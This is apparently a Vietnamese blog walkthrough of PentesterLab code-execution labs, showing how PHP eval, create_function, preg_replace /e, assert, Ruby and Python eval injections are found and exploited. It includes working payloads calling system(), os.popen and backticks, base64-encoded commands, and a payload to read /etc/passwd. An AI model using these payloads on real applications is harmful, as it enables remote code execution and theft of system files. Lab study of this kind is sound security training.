Code Execution 01 – Code injetion
Trong phần này, chúng ta sẽ làm việc về thực thi mã. Việc thực thi mã đến từ việc thiếu bộ lọc hoặc thoát dữ liệu do người dùng kiểm soát. Khi bạn đang khai thác chèn mã, bạn sẽ cần phải đưa mã vào như một phần của dữ liệu bạn đang gửi đến ứng dụng. Ví dụ: nếu bạn muốn chạy lệnh ls, bạn sẽ cần gửi hệ thống (“ls”) đến ứng dụng nếu đó là ứng dụng PHP.
Cũng giống như các ví dụ khác về các vấn đề ứng dụng web, luôn hữu ích khi biết cách comment phần còn lại của mã (tức là: hậu tố mà ứng dụng sẽ thêm vào dữ liệu do người dùng kiểm soát). Trong PHP, bạn có thể sử dụng // để loại bỏ mã được ứng dụng thêm vào.
Như với SQL injection, bạn có thể sử dụng cùng một kỹ thuật giá trị để kiểm tra và đảm bảo rằng bạn có một đoạn mã:
- Bằng cách sử dụng các comment và đưa vào /* giá trị ngẫu nhiên */.
- Bằng cách chèn một từ nối đơn giản “.” (where “được sử dụng để ngắt cú pháp và cải tổ nó một cách chính xác).
- Bằng cách thay thế tham số bạn đã cung cấp bằng cách nối chuỗi, ví dụ: “.”ha”.”cker”.” thay vì hacker.
Bạn có thể sử dụng time-based detection cho vấn đề này bằng cách sử dụng hàm sleep trong PHP. Bạn sẽ thấy một sự khác biệt thời gian giữa:
- Không sử dụng hàm sleep hoặc gọi nó với giá trị 0: sleep(0)
- Gọi hàm với giá trị delay dài: sleep(10)
Rõ ràng, việc chèn mã phải được sử dụng bằng ngôn ngữ của ứng dụng. Do đó, bước đầu tiên trong quá trình injection là tìm ngôn ngữ mà ứng dụng đang sử dụng. Để làm được như vậy, bạn có thể xem cách ứng dụng xử lý các ký tự đặc biệt (ví dụ bằng cách so sánh + và . cho việc nối các chuỗi).
Ví dụ sau là một code injection cơ bản. Nếu bạn inject một single quote, không có gì xảy ra. Tuy nhiên, bạn có thể hiểu rõ hơn vấn đề này bằng cách inject một double quote:
1 |
Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/index.php(6) : eval()'d code on line 1 |
Dựa trên thông báo lỗi, chúng ta có thể thấy rằng đoạn mã đang sử dụng hàm eval: “Eval is evil …”.
Chúng ta thấy rằng dấu ngoặc kép phá vỡ cú pháp và hàm eval dường như đang sử dụng đầu vào của chúng ta. Từ điều này, chúng ta có thể cố gắng tính ra các payload sẽ cho chúng ta cùng một kết quả:
- “.”: chúng ta chỉ thêm một chuỗi nối; điều này sẽ cung cấp cho chúng ta cùng một giá trị.
- “./*pentesterlab*/”: chúng ta chỉ thêm một chuỗi nối và thông tin bên trong comment; điều này sẽ cung cấp cho chúng ta cùng một giá trị.
Tại thử thách, để cho thấy rằng chúng ta có thể thực thi mã, chúng ta có thể thử chạy một lệnh (ví dụ: uname -a bằng cách sử dụng code execution). Mã PHP đầy đủ trông giống như sau:
1 |
system ('uname -a'); |
Thách thức ở đây là phá vỡ cú pháp mã và giữ một cú pháp rõ ràng. Có rất nhiều cách để làm điều đó:
- Bằng cách thêm mã giả: ".system ('uname -a'); $ dummy =" . Phần này thực ra mình cũng không hiểu lắm là thêm cái $ dummy = vào làm gì 😀
- Bằng cách sử dụng chú thích: “.system (‘uname -a’);# hoặc “.system (‘uname -a’);//.
Đừng quên rằng bạn sẽ cần mã hóa URL một số ký tự (# và;) trước khi gửi yêu cầu.
Ở phần Code Exection 01 yêu cầu khai thác khả năng code inject để chạy lệnh theo yêu cầu. Ở đây cách đơn giản để có thể chạy lệnh /usr/local/bin/score 78a02cad-6b9e-4f38-8b26-2176490366c0 là chèn code vào trong “..”. Cụ thể như sau:
1 |
".system("/usr/local/bin/score 78a02cad-6b9e-4f38-8b26-2176490366c0")." |
Code Execution 02
Càng về sau series thì nội dung càng phức tạp hơn. Phần này sẽ nói về order trong SQL và PHP. Khi sắp xếp thông tin thì dev có thể sử dụng hai phương pháp:
- order by trong câu lệnh SQL requets.
- usort trong code PHP
Hàm usort thường được sử dụng với hàm create_function để generate động hàm “sorting” dựa trên thông tin người dùng kiểm soát. Nếu webapp thiếu tính năng lọc và validate mạnh thì lỗ hổng này có thể dễ dàng khai thác. Bằng cách đưa vào một single quote, chúng ta có thể biết điều gì đang xảy ra:
1 2 3 4 5 |
Parse error: syntax error, unexpected '',$b->id'' (T_CONSTANT_ENCAPSED_STRING) in /var/www/index.php(29) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/index.php on line 29 |
Source code của hàm sẽ như sau:
1 2 3 4 5 6 7 8 9 |
ZEND_FUNCTION(create_function) { [...] eval_code = (char *) emalloc(eval_code_length); sprintf(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}", Z_STRVAL_PP(z_function_args), Z_STRVAL_PP(z_function_code)); eval_name = zend_make_compiled_string_description("runtime-created function" TSRMLS_CC); retval = zend_eval_string(eval_code, NULL, eval_name TSRMLS_CC); [...] |
Chúng ta có thể thấy rằng đoạn code được đặt bên trong dấu ngoặc nhọn {…} và chúng ta sẽ cần thông tin này để hoàn thành cú pháp một cách chính xác, sau khi chèn.
Trái ngược với việc code injection trước đó, ở đây, bạn không inject vào bên trong dấu ngoặc kép hoặc đơn như ví dụ trước. Chúng tôi biết rằng chúng tôi cần đóng câu lệnh với } và comment phần còn lại của mã bằng cách sử dụng // hoặc # (với emcoding). Chúng ta có thể thử xem xét xung quanh bằng:
?order=id;}//
: chúng ta nhận được thông báo lỗi sau (Parse error: syntax error, unexpected ';'
). Chúng ta có thể thiếu một hoặc nhiều dấu ).?order=id);}//
: chúng ta nhận được một warning. Điều này có vẻ đúng.?order=id));}//
: chúng ta nhận được một thông báo lỗi như sau (Parse error: syntax error, unexpected ')' i
). Có vẻ chúng ta đã sử dụng quá nhiều dấu ).
Vì bây giờ chúng ta đã biết cách hoàn thành code một cách chính xác (cảnh báo không dừng quá trình thực thi), chúng ta có thể chèn mã tùy ý và thực thi mã đạt được bằng cách sử dụng ?order=id);}system('<strong>uname%20-a</strong>');//
Bạn có thể thay thế đoạn code của bạn vào đoạn <strong>uname%20-a</strong>
Thử thách này dựa trên một lỗ hổng trong PHPMyAdmin: CVE-2008-4096
Code Execution 03
Chúng ta đã nói về các công cụ sửa đổi biểu thức chính quy với biểu thức chính quy nhiều dòng. Một công cụ sửa đổi rất nguy hiểm khác tồn tại trong PHP là PCRE_REPLACE_EVAL (/e). Công cụ sửa đổi này sẽ khiến hàm preg_replace đánh giá giá trị mới dưới dạng mã PHP, trước khi thực hiện thay thế.
PCRE_REPLACE_EVAL không được dùng nữa kể từ PHP 5.5.0
Ở đây, bạn sẽ cần thay đổi pattern, bằng cách thêm /e.
Khi bạn đã thêm, bạn sẽ nhận được thông báo:
Chú ý đoạn new=hacker và pattern=/lamer/&base=Hello%20lamer
Để giải quyết bài toàn trong Code execution 03, chúng ta sẽ thay thế hacker trong URL bằng system('command') . Ví dụ để chèn lệnh xem version kernel:
1 |
https://ptl-63cceee3-00ade0ed.libcurl.st/?new=system('uname -a')&pattern=/lamer/e&base=Hello%20lamer |
Hoặc thay hacker bằng phpinfo() để xem thông tin php
Để giải quyết phần này, chúng ta thay thế hacker bằng đoạn code mà để bài yêu cầu:
1 |
/usr/local/bin/score 78a02cad-6b9e-4f38-8b26-2176490366c0 |
Code Execution 04
Bài này dựa trên hàm assert. Khi sử dụng sai, chức năng này sẽ evaluate giá trị nhận được. Hành vi này có thể được sử dụng để code execution. Bằng cách chèn ‘ ‘ hoặc ” ” (tuỳ thuộc vào cách chuỗi được khai báo), chúng ta có thể thấy thông báo lỗi cho biết PHP đã thử evaluate code:
1 |
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: 'hacker'' in /var/www/codeexec/example4.php on line 4 |
Một khi chúng ta đã phá vỡ cú pháp, chúng ta cần cố gắng tạo lại nó một cách chính xác. Chúng ta có thể thử như sau: hacker’.’ (thêm dấu . vào giữa ”). Thông báo lỗi đã biến mất.
Bây giờ chúng ta đã biết cách hoàn thành cú pháp để tránh lỗi, chúng ta có thể chỉ cần chèn payload của mình để chạy hàm phpinfo() bằng cách hacker'.phpinfo().' và chúng ta nhận được cấu hình của công cụ PHP trong trang.
Để giải quyết bài toán tại 04 này, chèn đoạn code sau, chú ý trong system(‘command’) và ‘ sẽ được chuyển thành %27:
'.system('/usr/local/bin/score 78a02cad-6b9e-4f38-8b26-2176490366c0').'
Code Execution 05 – Ruby
Trong bài tập này, chúng ta đang xử lý một ứng dụng Ruby vì bạn có thể nhanh chóng biết được bằng cách chèn một dấu ” vào tham số tên người dùng. Vì ứng dụng đang ở chế độ phát triển nên chúng tôi nhận được rất nhiều thông tin chi tiết về lỗi. Dòng sau đặc biệt thú vị:
1 |
@message = eval "\"Hello "+params['username']+"\"" |
Chúng ta thấy rằng chúng ta đang inject vào một call để eval. Hãy luôn nhớ rằng eval is evil:
Tiếp theo chúng ta thử thêm “+””+” (+ trong Ruby được encode cho dấu cách, cho nên chúng ta cần thay + bằng %2b, do đó sẽ là “%2b””%2b” và app sẽ hoạt động bình thường:
Ở đây, chúng ta sẽ cần thực hiện những việc sau:
* Một dấu ngoặc kép ” để ngắt ra khỏi chuỗi.
* Thêm dấu + để nối chuỗi (đừng quên mã hóa URL thành %2b)
* Thêm lệnh ([COMMAND]) mà chúng tôi muốn chạy bằng cách sử dụng [COMMAND]
.
* Thêm một dấu + khác để nối chuỗi.
* Một dấu ngoặc kép khác ” để đóng dấu ngoặc kép đã có ở đó.
Ví dụ "%2b`uname`%2b"
Để giải 05, chúng ta thêm đoạn mã sau vào URL:
"%2b`/usr/local/bin/score 78a02cad-6b9e-4f38-8b26-2176490366c0`%2b"
Code Execution 06 – Python
Tương tự như phần 05, chúng ta sử dụng dấu ” để break, sử dụng “%2b” để khôi phục
Để chèn code vào chúng ta sử dụng:
1 |
"%2bstr(os.popen("command").read())%2b" |
Để giải quyết 06, chúng ta chèn đoạn mã sau vào URL:
1 |
"%2bstr(os.popen("/usr/local/bin/score%2078a02cad-6b9e-4f38-8b26-2176490366c0").read())%2b" |
Code Execution 07
Để import thư viện os vào python, chúng ta cần thêm đoạn mã sau và trước đoạn mã đã học ở 06 là "%2bstr(os.popen("command").read())%2b"
Sẽ thành câu lệnh hoàn chỉnh như sau:
1 |
"%2bstr(__import__('os').popen("command").read())%2b" |
Code Execution 08
Tương tự như phần 7, tuy nhiên dấu / sẽ không sử dụng được trong URL nữa. Vì thế ta vẫn sử dụng lại cấu trúc của bài 07 để điền vào sau URL:
1 |
"%2bstr(os.popen("command").read())%2b" |
Nhưng command ở đây không thể là câu lệnh trực tiếp vì có chứa dấu /. Do đó cần phải base64encode comand trước. Có hai cách thực hiện:
Cách 1: dùng vim để encode64 chuỗi lệnh (thay thế payload bằng lệnh của bạn):
1 2 3 4 5 |
command$ base64encode (command) exec (base64decode(payload) import base64; base64decode() __import__('base64').b64decode(payload) |
Trong vim nhấn esc và dùng lệnh sau để encode ra base64, ở đây lệnh chúng ta muốn encode là cat /etc/password :
1 |
:!echo 'cat /etc/passwd' | base64 |
Ra kết quả là payload: Y2F0IC9ldGMvcGFzc3dkCg==
Cách 2: sử dụng công cụ base64encode có sẵn trên mạng:
https://www.base64encode.net/
Cũng ra được kết quả: Y2F0IC9ldGMvcGFzc3dk
Vậy là ta tạo được command hoàn chỉnh để chèn vào công thức trong ví dụ 07:
__import__('base64').b64decode('Y2F0IC9ldGMvcGFzc3dkCg==')Thay thế đoạn code trên vào command trong câu lệnh: "%2bstr(os.popen("command").read())%2b"
“%2bstr(__import__(‘os’).popen(__import__(‘base64’).b64decode(‘Y2F0IC9ldGMvcGFzc3dk’)).read())%2b”
Vơi 08, ta encode đề bài:
1 |
/usr/local/bin/score 78a02cad-6b9e-4f38-8b26-2176490366c0 |
Được kết quả:
1 |
L3Vzci9sb2NhbC9iaW4vc2NvcmUgNzhhMDJjYWQtNmI5ZS00ZjM4LThiMjYtMjE3NjQ5MDM2NmMw |
Thay thế đoạn code trên vào payload __import__('base64').b64decode(payload)
Tiếp tục chèn vào câu lệnh sẽ được kết quả sau:
1 |
"%2bstr(__import__('os').popen(__import__('base64').b64decode('L3Vzci9sb2NhbC9iaW4vc2NvcmUgNzhhMDJjYWQtNmI5ZS00ZjM4LThiMjYtMjE3NjQ5MDM2NmMw')).read())%2b" |
Và thành quả:
Code Execution 09 – Perl
Bài này mệt quá nên mình không viết lại nữa 😀
Hẹn gặp các bạn ở ngày tiếp theo!